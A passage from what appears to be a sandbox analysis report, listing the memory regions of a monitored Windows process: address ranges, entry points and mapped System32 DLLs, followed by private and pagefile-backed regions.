0x7ffb185b13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2627 start_va = 0x7ffb18640000 end_va = 0x7ffb186a0fff monitored = 0 entry_point = 0x7ffb18644b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 2628 start_va = 0x7ffb186b0000 end_va = 0x7ffb1882bfff monitored = 0 entry_point = 0x7ffb18701650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 2629 start_va = 0x7ffb18830000 end_va = 0x7ffb1883afff monitored = 0 entry_point = 0x7ffb18831770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 2630 start_va = 0x7ffb18840000 end_va = 0x7ffb18880fff monitored = 0 entry_point = 0x7ffb18844840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 2631 start_va = 0x7ffb188e0000 end_va = 0x7ffb18a15fff monitored = 0 entry_point = 0x7ffb1890f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 2632 start_va = 0x7ffb18a20000 end_va = 0x7ffb18b05fff monitored = 0 entry_point = 0x7ffb18a3cf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 2633 start_va = 0x7ffb18b50000 end_va = 0x7ffb18be1fff monitored = 0 entry_point = 0x7ffb18b9a780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 2634 start_va = 0x7ffb18c90000 end_va = 0x7ffb18ccdfff monitored = 0 entry_point = 0x7ffb18c9a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2635 start_va = 0x7ffb18cd0000 end_va = 0x7ffb18cf6fff monitored = 0 entry_point = 0x7ffb18cd3bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 2636 start_va = 0x7ffb18d00000 end_va = 0x7ffb18d54fff monitored = 0 entry_point = 0x7ffb18d0fc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 2637 start_va = 0x7ffb18d60000 end_va = 0x7ffb18d6cfff monitored = 0 entry_point = 0x7ffb18d62ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 2638 start_va = 0x7ffb18d70000 end_va = 0x7ffb18d9efff monitored = 0 entry_point = 0x7ffb18d78910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 2639 start_va = 0x7ffb18da0000 end_va = 0x7ffb18daffff monitored = 0 entry_point = 0x7ffb18da2c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 2640 start_va = 0x7ffb18db0000 end_va = 0x7ffb18e1dfff monitored = 0 entry_point = 0x7ffb18db7f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 2641 start_va = 0x7ffb18e20000 end_va = 0x7ffb18e30fff monitored = 0 entry_point = 0x7ffb18e23320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 2642 start_va = 0x7ffb18e40000 end_va = 0x7ffb18e80fff monitored = 0 entry_point = 0x7ffb18e57eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 2643 start_va = 0x7ffb18e90000 end_va = 0x7ffb18f8bfff monitored = 0 entry_point = 0x7ffb18ec6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 2644 start_va = 0x7ffb18f90000 end_va = 0x7ffb1904efff monitored = 0 entry_point = 0x7ffb18fb1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2645 start_va = 0x7ffb19080000 end_va = 0x7ffb190a8fff monitored = 0 entry_point = 0x7ffb1908ca00 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2646 start_va = 0x7ffb190b0000 end_va = 0x7ffb190e5fff monitored = 0 entry_point = 0x7ffb190c0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2647 start_va = 0x7ffb19960000 end_va = 0x7ffb19969fff monitored = 0 entry_point = 0x7ffb19961660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2648 start_va = 0x7ffb19970000 end_va = 0x7ffb19987fff monitored = 0 entry_point = 0x7ffb19975910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2649 start_va = 0x7ffb19990000 end_va = 0x7ffb19adcfff monitored = 0 entry_point = 0x7ffb199d3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 2650 start_va = 0x7ffb19e30000 end_va = 0x7ffb19e41fff monitored = 0 entry_point = 0x7ffb19e31a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 2651 start_va = 0x7ffb19e50000 end_va = 0x7ffb19e6efff monitored = 0 entry_point = 0x7ffb19e54960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 2652 start_va = 0x7ffb19e70000 end_va = 0x7ffb19e83fff monitored = 0 entry_point = 0x7ffb19e72a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 2653 start_va = 0x7ffb19e90000 end_va = 0x7ffb19e9afff monitored = 0 entry_point = 0x7ffb19e91de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 2654 start_va = 0x7ffb19ea0000 end_va = 0x7ffb1a332fff monitored = 0 entry_point = 0x7ffb19eaf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 2655 start_va = 0x7ffb1a340000 end_va = 0x7ffb1a3a6fff monitored = 0 entry_point = 0x7ffb1a35e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 2656 start_va = 0x7ffb1a7b0000 end_va = 0x7ffb1a7b7fff monitored = 0 entry_point = 0x7ffb1a7b13e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 2657 start_va = 0x7ffb1ac70000 end_va = 0x7ffb1adf5fff monitored = 0 entry_point = 0x7ffb1acbd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2658 start_va = 0x7ffb1ae00000 end_va = 0x7ffb1ae1bfff monitored = 0 entry_point = 0x7ffb1ae037a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2659 start_va = 0x7ffb1ae20000 end_va = 0x7ffb1ae2ffff monitored = 0 entry_point = 0x7ffb1ae21690 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 2660 start_va = 0x7ffb1ae30000 end_va = 0x7ffb1ae45fff monitored = 0 entry_point = 0x7ffb1ae3b550 region_type = mapped_file name = "clipc.dll" filename = "\\Windows\\System32\\Clipc.dll" (normalized: "c:\\windows\\system32\\clipc.dll") Region: id = 2661 start_va = 0x7ffb1ae60000 end_va = 0x7ffb1ae72fff monitored = 0 entry_point = 0x7ffb1ae62760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2662 start_va = 0x7ffb1afd0000 end_va = 0x7ffb1b048fff monitored = 0 entry_point = 0x7ffb1afefb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 2663 start_va = 0x7ffb1b080000 end_va = 0x7ffb1b0bffff monitored = 0 entry_point = 0x7ffb1b091960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 2664 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2665 start_va = 0x7ffb1b210000 end_va = 0x7ffb1b236fff monitored = 0 entry_point = 0x7ffb1b217940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2666 start_va = 0x7ffb1b240000 end_va = 0x7ffb1b2e9fff monitored = 0 entry_point = 0x7ffb1b267910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2667 start_va = 0x7ffb1b2f0000 end_va = 0x7ffb1b3effff monitored = 0 entry_point = 0x7ffb1b330f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 2668 start_va = 0x7ffb1b480000 end_va = 0x7ffb1b48bfff monitored = 0 entry_point = 0x7ffb1b482480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 2669 start_va = 0x7ffb1b650000 end_va = 0x7ffb1b681fff monitored = 0 entry_point = 0x7ffb1b662340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 2670 start_va = 0x7ffb1b7c0000 end_va = 0x7ffb1b7cbfff monitored = 0 entry_point = 0x7ffb1b7c2790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 2671 start_va = 0x7ffb1b7d0000 end_va = 0x7ffb1b7f3fff monitored = 0 entry_point = 0x7ffb1b7d3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2672 start_va = 0x7ffb1b970000 end_va = 0x7ffb1ba63fff monitored = 0 entry_point = 0x7ffb1b97a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 2673 start_va = 0x7ffb1bac0000 end_va = 0x7ffb1bb08fff monitored = 0 entry_point = 0x7ffb1baca090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2674 start_va = 0x7ffb1bbe0000 end_va = 0x7ffb1bbebfff monitored = 0 entry_point = 0x7ffb1bbe27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2675 start_va = 0x7ffb1bc20000 end_va = 0x7ffb1bc2cfff monitored = 0 entry_point = 0x7ffb1bc21fe0 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 2676 start_va = 0x7ffb1bcc0000 end_va = 0x7ffb1bcf0fff monitored = 0 entry_point = 0x7ffb1bcc7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2677 start_va = 0x7ffb1bd20000 end_va = 0x7ffb1bd99fff monitored = 0 entry_point = 0x7ffb1bd41a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2678 start_va = 0x7ffb1bde0000 end_va = 0x7ffb1be13fff monitored = 0 entry_point = 0x7ffb1bdfae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2679 start_va = 0x7ffb1be20000 end_va = 0x7ffb1be29fff monitored = 0 entry_point = 0x7ffb1be21830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 2680 start_va = 0x7ffb1bf30000 end_va = 0x7ffb1bf4efff monitored = 0 entry_point = 0x7ffb1bf35d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2681 start_va = 0x7ffb1c0a0000 end_va = 0x7ffb1c0fbfff monitored = 0 entry_point = 0x7ffb1c0b6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2682 start_va = 0x7ffb1c150000 end_va = 0x7ffb1c166fff monitored = 0 entry_point = 0x7ffb1c1579d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2683 start_va = 0x7ffb1c270000 end_va = 0x7ffb1c27afff monitored = 0 entry_point = 0x7ffb1c2719a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2684 start_va = 0x7ffb1c2b0000 end_va = 0x7ffb1c2d0fff monitored = 0 entry_point = 0x7ffb1c2c0250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 2685 start_va = 0x7ffb1c300000 end_va = 0x7ffb1c339fff monitored = 0 entry_point = 0x7ffb1c308d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 2686 start_va = 0x7ffb1c340000 end_va = 0x7ffb1c366fff monitored = 0 entry_point = 0x7ffb1c350aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2687 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2688 start_va = 0x7ffb1c5e0000 end_va = 0x7ffb1c635fff monitored = 0 entry_point = 0x7ffb1c5f0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2689 start_va = 0x7ffb1c640000 end_va = 0x7ffb1c658fff monitored = 0 entry_point = 0x7ffb1c645e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 2690 start_va = 0x7ffb1c660000 end_va = 0x7ffb1c688fff monitored = 0 entry_point = 0x7ffb1c674530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2691 start_va = 0x7ffb1c690000 end_va = 0x7ffb1c728fff monitored = 0 entry_point = 0x7ffb1c6bf4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2692 start_va = 0x7ffb1c7d0000 end_va = 0x7ffb1c7e3fff monitored = 0 entry_point = 0x7ffb1c7d52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2693 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2694 start_va = 0x7ffb1c800000 end_va = 0x7ffb1c84afff monitored = 0 entry_point = 0x7ffb1c8035f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2695 start_va = 0x7ffb1c850000 end_va = 0x7ffb1c85ffff monitored = 0 entry_point = 0x7ffb1c8556e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2696 start_va = 0x7ffb1c860000 end_va = 0x7ffb1c876fff monitored = 0 entry_point = 0x7ffb1c861390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2697 start_va = 0x7ffb1c880000 end_va = 0x7ffb1cec3fff monitored = 0 entry_point = 0x7ffb1ca464b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 2698 start_va = 0x7ffb1ced0000 end_va = 0x7ffb1cf12fff monitored = 0 entry_point = 0x7ffb1cee4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2699 start_va = 0x7ffb1cf20000 end_va = 0x7ffb1cf74fff monitored = 0 entry_point = 0x7ffb1cf37970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2700 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2701 start_va = 0x7ffb1d170000 end_va = 0x7ffb1d1f5fff monitored = 0 entry_point = 0x7ffb1d17d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2702 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2703 start_va = 0x7ffb1d320000 end_va = 0x7ffb1d3d4fff monitored = 0 entry_point = 0x7ffb1d3622e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2704 start_va = 0x7ffb1d3e0000 end_va = 0x7ffb1d5a6fff monitored = 0 entry_point = 0x7ffb1d43db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2705 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2706 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2707 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2708 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2709 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2710 start_va = 0x7ffb1de80000 end_va = 0x7ffb1e2a8fff monitored = 0 entry_point = 0x7ffb1dea8740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2711 start_va = 0x7ffb1e310000 end_va = 0x7ffb1f86efff monitored = 0 entry_point = 0x7ffb1e4711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2712 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2713 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2714 start_va = 0x7ffb1fba0000 end_va = 0x7ffb1fbfbfff monitored = 0 entry_point = 0x7ffb1fbbb720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2715 start_va = 0x7ffb1fc10000 end_va = 0x7ffb1fc17fff monitored = 0 entry_point = 0x7ffb1fc11ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2716 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2717 start_va = 0x7ffb1fdf0000 end_va = 0x7ffb1fe5afff monitored = 0 entry_point = 0x7ffb1fe090c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2718 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2719 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2720 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2721 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2722 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2811 start_va = 0x153b80000 end_va = 0x153c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153b80000" filename = "" Region: id = 2812 start_va = 0x153c80000 end_va = 0x153d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153c80000" filename = "" Region: id = 2813 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 2814 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 2815 start_va = 0x11beaf60000 end_va = 0x11beaf61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 2833 start_va = 0x11bedc90000 end_va = 0x11bedc91fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bedc90000" filename = "" Region: id = 2871 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 2872 start_va = 0x11beaf60000 end_va = 0x11beaf65fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 2873 start_va = 0x11beaf60000 end_va = 0x11beaf61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 2917 start_va = 0x11beaf60000 end_va = 0x11beaf61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beaf60000" filename = "" Region: id = 2925 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 2926 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 2927 start_va = 0x11bee5e0000 end_va = 0x11bee5e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3047 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3048 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3049 start_va = 0x11bee5e0000 end_va = 0x11bee5e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3100 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3101 start_va = 0x11bee5e0000 end_va = 0x11bee5e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bee5e0000" filename = "" Region: id = 3102 start_va = 0x11bee5e0000 end_va = 0x11bee5e1fff monitored = 1 